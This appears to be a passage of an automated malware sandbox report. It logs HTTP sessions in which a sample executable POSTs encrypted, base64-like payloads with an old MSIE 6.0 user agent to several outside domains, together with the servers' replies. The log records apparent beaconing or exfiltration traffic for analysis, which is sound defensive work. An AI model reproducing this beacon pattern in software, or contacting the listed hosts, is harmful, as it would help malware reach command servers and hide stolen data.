Oct 25, 2024 11:17:43.149418116 CEST	806	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ora-ito.com Cache-Control: no-cache Data Raw: 6e 66 46 6b 51 4b 51 69 54 66 79 53 4b 71 6e 62 50 77 30 72 4b 6e 66 31 6a 74 35 63 34 4e 43 71 47 45 70 76 55 4d 78 39 6c 52 4d 76 69 6f 4d 64 42 38 6c 37 65 77 66 64 76 62 4b 47 70 56 55 4c 2b 39 34 49 36 5a 78 45 56 38 54 39 75 6f 5a 77 34 49 66 77 5a 7a 6c 4c 46 32 38 50 30 51 2b 37 4e 58 37 63 59 4b 4f 36 30 43 56 47 37 53 6d 4e 74 67 6d 64 2b 65 74 47 67 71 66 38 6d 2b 49 7a 58 57 2f 76 30 54 53 43 52 71 37 7a 4d 4c 68 7a 78 43 62 64 57 46 57 41 46 36 4b 53 42 2b 31 5a 71 52 44 55 63 35 58 43 50 50 53 59 35 6f 57 46 62 74 2b 2f 70 73 77 56 61 79 72 45 47 6d 43 5a 6c 75 78 63 75 45 57 4b 49 7a 2b 4d 56 51 61 57 65 4b 48 7a 4f 51 42 64 78 55 53 50 78 42 39 35 74 56 4f 77 50 6c 38 2b 43 65 30 34 56 61 6e 59 35 41 43 56 4d 4d 51 6f 4c 56 4e 78 51 78 53 54 41 38 46 2f 63 64 55 4e 59 5a 54 71 2b 54 5a 72 62 38 30 77 43 57 7a 77 51 66 4e 39 30 32 63 69 6c 62 46 6a 6b 2f 64 41 7a 30 49 77 4d 35 4e 44 58 35 5a 45 53 62 36 4e 6e 67 35 64 36 6d 54 62 5a 75 38 4c 2b 75 78 73 53 50 43 4d 74 53 38 51 68 6d [TRUNCATED] Data Ascii: nfFkQKQiTfySKqnbPw0rKnf1jt5c4NCqGEpvUMx9lRMvioMdB8l7ewfdvbKGpVUL+94I6ZxEV8T9uoZw4IfwZzlLF28P0Q+7NX7cYKO60CVG7SmNtgmd+etGgqf8m+IzXW/v0TSCRq7zMLhzxCbdWFWAF6KSB+1ZqRDUc5XCPPSY5oWFbt+/pswVayrEGmCZluxcuEWKIz+MVQaWeKHzOQBdxUSPxB95tVOwPl8+Ce04VanY5ACVMMQoLVNxQxSTA8F/cdUNYZTq+TZrb80wCWzwQfN902cilbFjk/dAz0IwM5NDX5ZESb6Nng5d6mTbZu8L+uxsSPCMtS8QhmSeOuXHUzsr6SJo9QQAbJL1dKxH3rSW2OGRnMK61qp5gZkhJUOnt9FLt9cf9EnebUdGQmj94wBV7K2WHoyUPWl1mOVtChCHBGcgbE3O2xV5sTNVN/5pc2rGwTaf0+n88Q+RxSPKR+zFP9KIaGnAqfHFASCGyIoFpSwGaG7bZgk0n+1B5pZvnQIWHNM3eKBKeGTDrxROtTtwD+bYUyGnkxMZE4+xj7ZqhDqLBQXyJIX3
Oct 25, 2024 11:17:43.746470928 CEST	513	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:17:43 GMT content-type: text/html; charset=iso-8859-1 content-length: 232 server: Apache location: https://www.ora-ito.com/ x-iplb-request-id: ADFEFA51:AF5F_D5BA2128:0050_671B6237_5D726:292F x-iplb-instance: 51997 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 72 61 2d 69 74 6f 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ora-ito.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:43.749670982 CEST	513	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:17:43 GMT content-type: text/html; charset=iso-8859-1 content-length: 232 server: Apache location: https://www.ora-ito.com/ x-iplb-request-id: ADFEFA51:AF5F_D5BA2128:0050_671B6237_5D726:292F x-iplb-instance: 51997 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 72 61 2d 69 74 6f 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ora-ito.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	52658	185.53.177.50	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.379793882 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.x0c.com Cache-Control: no-cache Data Raw: 5a 52 41 79 36 59 54 39 51 66 77 38 57 4c 56 63 6e 32 75 76 47 46 66 33 32 39 61 38 78 4d 43 2b 2b 4b 4b 41 6a 36 77 39 71 34 35 43 46 56 43 4a 73 46 65 31 75 50 62 4a 75 64 77 30 44 4c 57 4a 63 33 37 4d 42 65 78 44 75 6e 30 30 48 4d 46 2b 70 37 43 62 34 42 42 46 45 69 54 36 33 6e 71 42 35 4a 64 5a 2f 73 47 78 2f 61 48 67 33 74 38 4d 41 6c 69 4f 39 65 79 2b 38 2b 73 75 2b 4d 44 66 5a 71 4c 70 34 77 53 76 67 50 76 4c 77 61 36 57 36 52 5a 55 62 56 37 2f 62 75 58 45 6f 69 56 67 55 53 59 45 38 7a 7a 33 7a 6d 36 4a 76 42 67 71 78 72 30 7a 32 69 6c 43 43 61 50 59 51 4c 59 6a 43 48 6c 6b 5a 39 4b 48 46 47 2b 65 4b 56 47 41 68 7a 2f 71 39 65 39 4b 6d 32 63 55 44 58 50 45 69 6a 73 54 66 4e 67 4a 73 36 33 79 46 51 58 44 56 62 52 6f 6e 38 35 73 4a 75 6d 52 6b 4f 32 65 47 74 57 63 35 44 7a 4a 79 7a 73 41 78 75 64 64 69 38 69 6c 5a 31 69 44 5a 57 61 65 4d 54 70 49 6b 65 2b 59 76 47 73 70 77 53 77 48 59 52 4f 56 50 5a 77 74 54 4c 34 35 4b 35 6e 6e 61 31 41 50 76 68 34 4c 4d 6b 56 52 32 51 46 72 68 63 6f 54 42 72 [TRUNCATED] Data Ascii: ZRAy6YT9Qfw8WLVcn2uvGFf329a8xMC++KKAj6w9q45CFVCJsFe1uPbJudw0DLWJc37MBexDun00HMF+p7Cb4BBFEiT63nqB5JdZ/sGx/aHg3t8MAliO9ey+8+su+MDfZqLp4wSvgPvLwa6W6RZUbV7/buXEoiVgUSYE8zz3zm6JvBgqxr0z2ilCCaPYQLYjCHlkZ9KHFG+eKVGAhz/q9e9Km2cUDXPEijsTfNgJs63yFQXDVbRon85sJumRkO2eGtWc5DzJyzsAxuddi8ilZ1iDZWaeMTpIke+YvGspwSwHYROVPZwtTL45K5nna1APvh4LMkVR2QFrhcoTBrhIphyQA8tMiTFkAjCP0cbtgDreHFqPxFetEGa8TlhGVL6Q3qjsJGVNDQmh3q/vKRox/YhyqhB2IaWkxfqvs/qw0P6oaiGQ/gRbCAWKqql69KbJ0rNt2KAaUStQWNkQdXoGyWJTgaP6e/ZfJuDRzRxFTkcEdX7RIMdSpbIf/vjDwVJCZKa5Eo84UbSIdumBDy2lXvdcoNwwGZrVtM3lWTzDtck=
Oct 25, 2024 11:17:43.748425007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Redirect: skenzo X-Buckets: bucket011,bucket088,bucket089 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Jamg4iIVCf2gDTKvmFPs9Kb79SVaNI2KzGhIC6s+rMjCONXyGfYlO5dj0cE0RjcwN0jxfPn58Jejk4l0Y+KZTg== X-Template: tpl_CleanPeppermintBlack_twoclick X-Language: english Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Pcrew-Ip-Organization: OMGitsfast X-Pcrew-Blocked-Reason: X-Domain: x0c.com X-Subdomain: www Data Raw: 31 65 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 78 30 63 26 23 34 36 3b 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d Data Ascii: 1e5<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>x0c.com</title><meta http-equiv="Content-Type" content="text/html; charset=
Oct 25, 2024 11:17:43.748437881 CEST	212	IN	Data Raw: 75 74 66 2d 38 22 2f 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 6c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 53 63 72 69 70 74 27 3e 0a 76 61 72 20 64 6f 6d 61 69 6e 20 3d 20 27 78 30 63 Data Ascii: utf-8"/><script type='text/javascript' language='JavaScript'>var domain = 'x0c.com';var uniqueTrackingID = 'MTcyOTg0Nzg2My4xMDMyOmQ3MDg5ZTZhOTU3MzE4OWJjMGMxYzhhYjllYjg1MWI1ZmM2MjczMTIxZGFjOWUzYjljOGU0NWI2Mjk
Oct 25, 2024 11:17:43.748459101 CEST	1236	IN	Data Raw: 0d 0a 37 30 37 0d 0a 77 5a 6a 49 31 4e 6d 59 36 4e 6a 63 78 59 6a 59 79 4d 7a 63 78 4f 54 4d 78 4d 67 3d 3d 27 3b 0a 76 61 72 20 63 6c 69 63 6b 54 72 61 63 6b 69 6e 67 20 3d 20 66 61 6c 73 65 3b 0a 76 61 72 20 74 68 65 6d 65 64 61 74 61 20 3d 20 Data Ascii: 707wZjI1NmY6NjcxYjYyMzcxOTMxMg==';var clickTracking = false;var themedata = '';var xkw = '';var xsearch = '';var xpcat = '';var bucket = '';var clientID = '';var clientIDs = '';var num_ads = 0;var adtest = 'off';var scriptPath =
Oct 25, 2024 11:17:43.748475075 CEST	212	IN	Data Raw: 77 61 73 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 71 75 65 73 74 2e 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 78 68 72 2e 6f 70 65 6e Data Ascii: was a problem with the request.'); } } } xhr.open('GET', path + '/ls.p' + 'hp?t=671b6237&token=' + encodeURI(token), true); xhr.send();};ls(new XMLHttpRequest(), scriptPath,
Oct 25, 2024 11:17:43.748488903 CEST	365	IN	Data Raw: 20 27 65 61 34 38 65 65 62 66 62 34 39 31 64 33 62 34 36 61 65 30 38 65 36 37 34 34 39 63 63 35 31 34 64 32 65 64 35 35 33 39 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: 'ea48eebfb491d3b46ae08e67449cc514d2ed5539');</script><script type='text/javascript' language='JavaScript'>window.onload = function() {if(clickTracking && typeof track_onclick == 'function') track_onclick("06c6a65d8a975771fbbd0d1947c922d
Oct 25, 2024 11:17:43.749484062 CEST	365	IN	Data Raw: 20 27 65 61 34 38 65 65 62 66 62 34 39 31 64 33 62 34 36 61 65 30 38 65 36 37 34 34 39 63 63 35 31 34 64 32 65 64 35 35 33 39 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 Data Ascii: 'ea48eebfb491d3b46ae08e67449cc514d2ed5539');</script><script type='text/javascript' language='JavaScript'>window.onload = function() {if(clickTracking && typeof track_onclick == 'function') track_onclick("06c6a65d8a975771fbbd0d1947c922d
Oct 25, 2024 11:17:43.749706984 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Redirect: skenzo X-Buckets: bucket011,bucket088,bucket089 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Jamg4iIVCf2gDTKvmFPs9Kb79SVaNI2KzGhIC6s+rMjCONXyGfYlO5dj0cE0RjcwN0jxfPn58Jejk4l0Y+KZTg== X-Template: tpl_CleanPeppermintBlack_twoclick X-Language: english Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Pcrew-Ip-Organization: OMGitsfast X-Pcrew-Blocked-Reason: X-Domain: x0c.com X-Subdomain: www Data Raw: 31 65 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 78 30 63 26 23 34 36 3b 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d Data Ascii: 1e5<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>x0c.com</title><meta http-equiv="Content-Type" content="text/html; charset=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	52659	35.164.78.200	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.412873030 CEST	775	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.koz1.net Cache-Control: no-cache Data Raw: 45 75 49 56 51 57 41 6f 54 66 77 48 50 47 4f 78 73 30 44 51 75 35 4e 53 77 67 58 49 58 71 6e 52 6c 48 56 37 70 78 35 39 68 6f 2b 50 74 4d 57 79 58 50 76 6a 36 70 6e 4f 6d 55 79 66 47 6f 53 6b 6e 52 37 48 46 42 4d 34 54 4d 30 63 76 38 76 44 6c 6d 38 45 38 75 38 71 73 51 58 56 70 72 4d 56 7a 4d 4f 51 33 57 50 73 35 68 4b 78 78 45 4f 48 75 4d 51 64 39 34 44 63 47 50 69 37 7a 31 7a 32 72 39 31 72 52 75 55 6e 37 37 47 46 37 6f 43 64 42 30 58 54 6b 38 2b 4e 70 47 4f 39 71 57 31 30 4f 76 50 49 78 41 5a 2b 6b 6e 38 71 35 54 65 6b 33 2b 4b 69 51 6f 64 70 48 71 75 52 67 36 4a 70 61 36 6c 42 55 6c 39 44 6a 57 35 6a 42 53 43 4d 37 7a 74 64 31 41 77 2f 33 66 4c 6d 74 64 4e 6b 39 36 42 2b 45 52 69 56 36 4a 55 43 4f 79 4b 72 2f 56 65 30 78 6a 69 34 6e 37 5a 49 6e 44 2b 41 71 72 72 54 74 43 53 73 44 75 31 54 6d 56 62 72 57 45 6d 50 73 44 57 62 6d 4e 4f 4e 4e 63 77 6b 73 4d 4a 4d 59 41 4c 69 48 37 44 78 54 68 42 78 71 76 31 4e 61 66 4d 70 45 36 6d 61 38 49 45 45 38 68 4b 75 52 61 7a 53 38 49 72 6d 5a 74 44 65 4e 6e [TRUNCATED] Data Ascii: EuIVQWAoTfwHPGOxs0DQu5NSwgXIXqnRlHV7px59ho+PtMWyXPvj6pnOmUyfGoSknR7HFBM4TM0cv8vDlm8E8u8qsQXVprMVzMOQ3WPs5hKxxEOHuMQd94DcGPi7z1z2r91rRuUn77GF7oCdB0XTk8+NpGO9qW10OvPIxAZ+kn8q5Tek3+KiQodpHquRg6Jpa6lBUl9DjW5jBSCM7ztd1Aw/3fLmtdNk96B+ERiV6JUCOyKr/Ve0xji4n7ZInD+AqrrTtCSsDu1TmVbrWEmPsDWbmNONNcwksMJMYALiH7DxThBxqv1NafMpE6ma8IEE8hKuRazS8IrmZtDeNnTbuuSOaJdGKyqGpmaQF4BMD/O0RnJJKzCLqhopcbqT/vSmY2mp67uXkoSN/gjHS0RDUOPh2fRAjQux45B7ApBSIHeD3N6loiX/KF16TIkhJ/d85ZJIuXxksuVffthgu2b1lmpzpSzK5+8L+zbFY+yBVJTzmCeLKr0RrdHebCpuScFZVGuoFi9l8+dW3Inon0Z4yS8XnyJpPNM=
Oct 25, 2024 11:17:43.243464947 CEST	659	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:17:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=; path=/; domain=.www.koz1.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=; path=/; domain=www.koz1.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=47b53fd8b1300ad95fb78f94f3077d2d\|173.254.250.81\|1729847863\|1729847863\|0\|1\|0; path=/; domain=.koz1.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.81; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	52660	74.208.236.101	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:42.580423117 CEST	794	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.myropcb.com Cache-Control: no-cache Data Raw: 36 48 35 77 66 5a 48 2f 67 50 78 4c 58 75 71 74 4d 4c 50 34 61 65 72 35 43 45 4e 50 43 44 62 53 56 55 38 75 2b 38 46 68 47 7a 36 41 51 35 39 50 56 4e 79 45 48 41 6a 47 76 69 73 52 55 4f 6d 53 67 6a 6b 75 51 6e 6f 34 57 6b 71 32 67 55 35 47 47 6a 4a 48 35 71 45 6d 57 36 57 68 49 50 69 45 54 52 6e 72 49 2f 33 47 74 46 4d 58 70 58 2f 6e 5a 6f 64 68 49 4f 57 57 64 70 37 56 59 6f 66 6a 39 32 36 64 6f 4a 63 33 75 42 38 41 37 68 79 63 54 48 52 62 4f 61 71 31 55 67 5a 69 48 74 77 74 43 69 6b 38 50 63 5a 69 39 43 71 6c 46 6a 52 70 47 55 39 68 37 52 39 43 4f 63 35 30 77 38 72 51 6b 48 64 43 53 7a 64 41 63 42 6b 2b 72 45 56 63 32 66 7a 31 48 66 46 6c 6e 39 78 57 46 41 58 68 31 44 68 33 76 57 6b 46 68 76 56 51 46 49 70 4e 75 2b 58 7a 41 39 79 45 51 78 65 71 73 35 67 67 55 6a 37 52 74 55 4a 31 72 51 75 78 63 4c 2b 36 37 5a 33 5a 43 2f 5a 59 6b 66 35 49 63 51 51 51 71 34 56 55 49 2b 43 51 38 54 62 56 6c 41 6b 79 66 31 37 37 62 54 4a 38 4a 66 56 32 79 50 57 66 64 4d 54 39 69 43 56 43 32 72 30 6b 32 4d 65 64 4e 76 [TRUNCATED] Data Ascii: 6H5wfZH/gPxLXuqtMLP4aer5CENPCDbSVU8u+8FhGz6AQ59PVNyEHAjGvisRUOmSgjkuQno4Wkq2gU5GGjJH5qEmW6WhIPiETRnrI/3GtFMXpX/nZodhIOWWdp7VYofj926doJc3uB8A7hycTHRbOaq1UgZiHtwtCik8PcZi9CqlFjRpGU9h7R9COc50w8rQkHdCSzdAcBk+rEVc2fz1HfFln9xWFAXh1Dh3vWkFhvVQFIpNu+XzA9yEQxeqs5ggUj7RtUJ1rQuxcL+67Z3ZC/ZYkf5IcQQQq4VUI+CQ8TbVlAkyf177bTJ8JfV2yPWfdMT9iCVC2r0k2MedNvSq8Ax9+PMbrZ7O6u+g8+Fzl4RbUqNiHvQoTt9/yBh//xGuyYvHHFVa7VKO0+ybZppOq1MrpOh0Ceqci/zWFUVhVL8TozRf9MQXRpionlJsMllAi0U4mE+YaNcO8VVpkd5/88obczAkzQle2d9OCXWS2ZQIXXLzrh4wAODRLbiuU3mSV4ZbtuNX6aMfUWoF9IGROpdKAX/T/sJfiXUDPPodoh46JJza
Oct 25, 2024 11:17:44.348803997 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Fri, 25 Oct 2024 09:17:43 GMT Server: Apache Referrer-Policy: unsafe-url x-frame-options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Link: <http://www.myropcb.com/wp-json/>; rel="https://api.w.org/", <http://www.myropcb.com/wp-json/wp/v2/pages/28>; rel="alternate"; type="application/json", <http://www.myropcb.com/>; rel=shortlink Set-Cookie: shield-notbot-nonce=ee1e073c13; expires=Fri, 25-Oct-2024 09:19:43 GMT; Max-Age=120; path=/ Set-Cookie: myro_ct=eyJ1cmwiOiIiLCJpcCI6IjE3My4yNTQuMjUwLjgxIn0%3D; expires=Sat, 25-Oct-2025 09:17:44 GMT; Max-Age=31536000; path=/ Set-Cookie: myro_ct_dtl=eyJSRVFVRVNUX1VSSSI6IlwvIiwiUkVESVJFQ1RfVU5JUVVFX0lEIjoiWnh0aU54UXZxRDVuWVVJcGg2dGZIQUFBQUFFIiwiUkVESVJFQ1RfU0NSSVBUX1VSTCI6IlwvIiwiUkVESVJFQ1RfU0NSSVBUX1VSSSI6Imh0dHA6XC9cL3d3dy5teXJvcGNiLmNvbVwvIiwiUkVESVJFQ1RfRE9DVU1FTlRfUk9PVCI6Ilwva3VuZGVuXC9ob21lcGFnZXNcLzlcL2QzMjgxNTE4NDdcL2h0ZG9jc1wvY2xpY2thbmRidWlsZHNcL215cm9wY2IiLCJSRURJUkVDVF9IVFRQX0FVVEhPUklaQVRJT04iOiIiLCJSRURJUkVDVF9IQU5ETEVSIjoieC1tYXBwLXBocDUiLCJSRURJUkVDVF9TVEFUVVMiOiIyMDAiLCJVTklRVUVfSUQiOiJa Data Raw: Data Ascii:
Oct 25, 2024 11:17:44.348869085 CEST	212	IN	Data Raw: 48 52 70 54 6e 68 52 64 6e 46 45 4e 57 35 5a 56 55 6c 77 61 44 5a 30 5a 6b 68 42 51 55 46 42 51 55 55 69 4c 43 4a 54 51 31 4a 4a 55 46 52 66 56 56 4a 4d 49 6a 6f 69 58 43 38 69 4c 43 4a 54 51 31 4a 4a 55 46 52 66 56 56 4a 4a 49 6a 6f 69 61 48 52 Data Ascii: HRpTnhRdnFENW5ZVUlwaDZ0ZkhBQUFBQUUiLCJTQ1JJUFRfVVJMIjoiXC8iLCJTQ1JJUFRfVVJJIjoiaHR0cDpcL1wvd3d3Lm15cm9wY2IuY29tXC8iLCJIVFRQX0hPU1QiOiJ3d3cubXlyb3BjYi5jb20iLCJIVFRQX0NPTk5FQ1RJT04iOiJjbG9zZSIsIkNPTlRFTlRfTEVOR1RII
Oct 25, 2024 11:17:44.348901033 CEST	1236	IN	Data Raw: 6a 6f 69 4e 54 59 77 49 69 77 69 53 46 52 55 55 46 39 42 51 30 4e 46 55 46 51 69 4f 69 49 71 58 43 38 71 49 69 77 69 53 46 52 55 55 46 39 42 51 30 4e 46 55 46 52 66 54 45 46 4f 52 31 56 42 52 30 55 69 4f 69 4a 6c 62 69 31 31 63 79 49 73 49 6b 4e Data Ascii: joiNTYwIiwiSFRUUF9BQ0NFUFQiOiIqXC8qIiwiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiOiJlbi11cyIsIkNPTlRFTlRfVFlQRSI6ImFwcGxpY2F0aW9uXC9vY3RldC1zdHJlYW0iLCJIVFRQX1VTRVJfQUdFTlQiOiJNb3ppbGxhXC80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKSIsIkhU
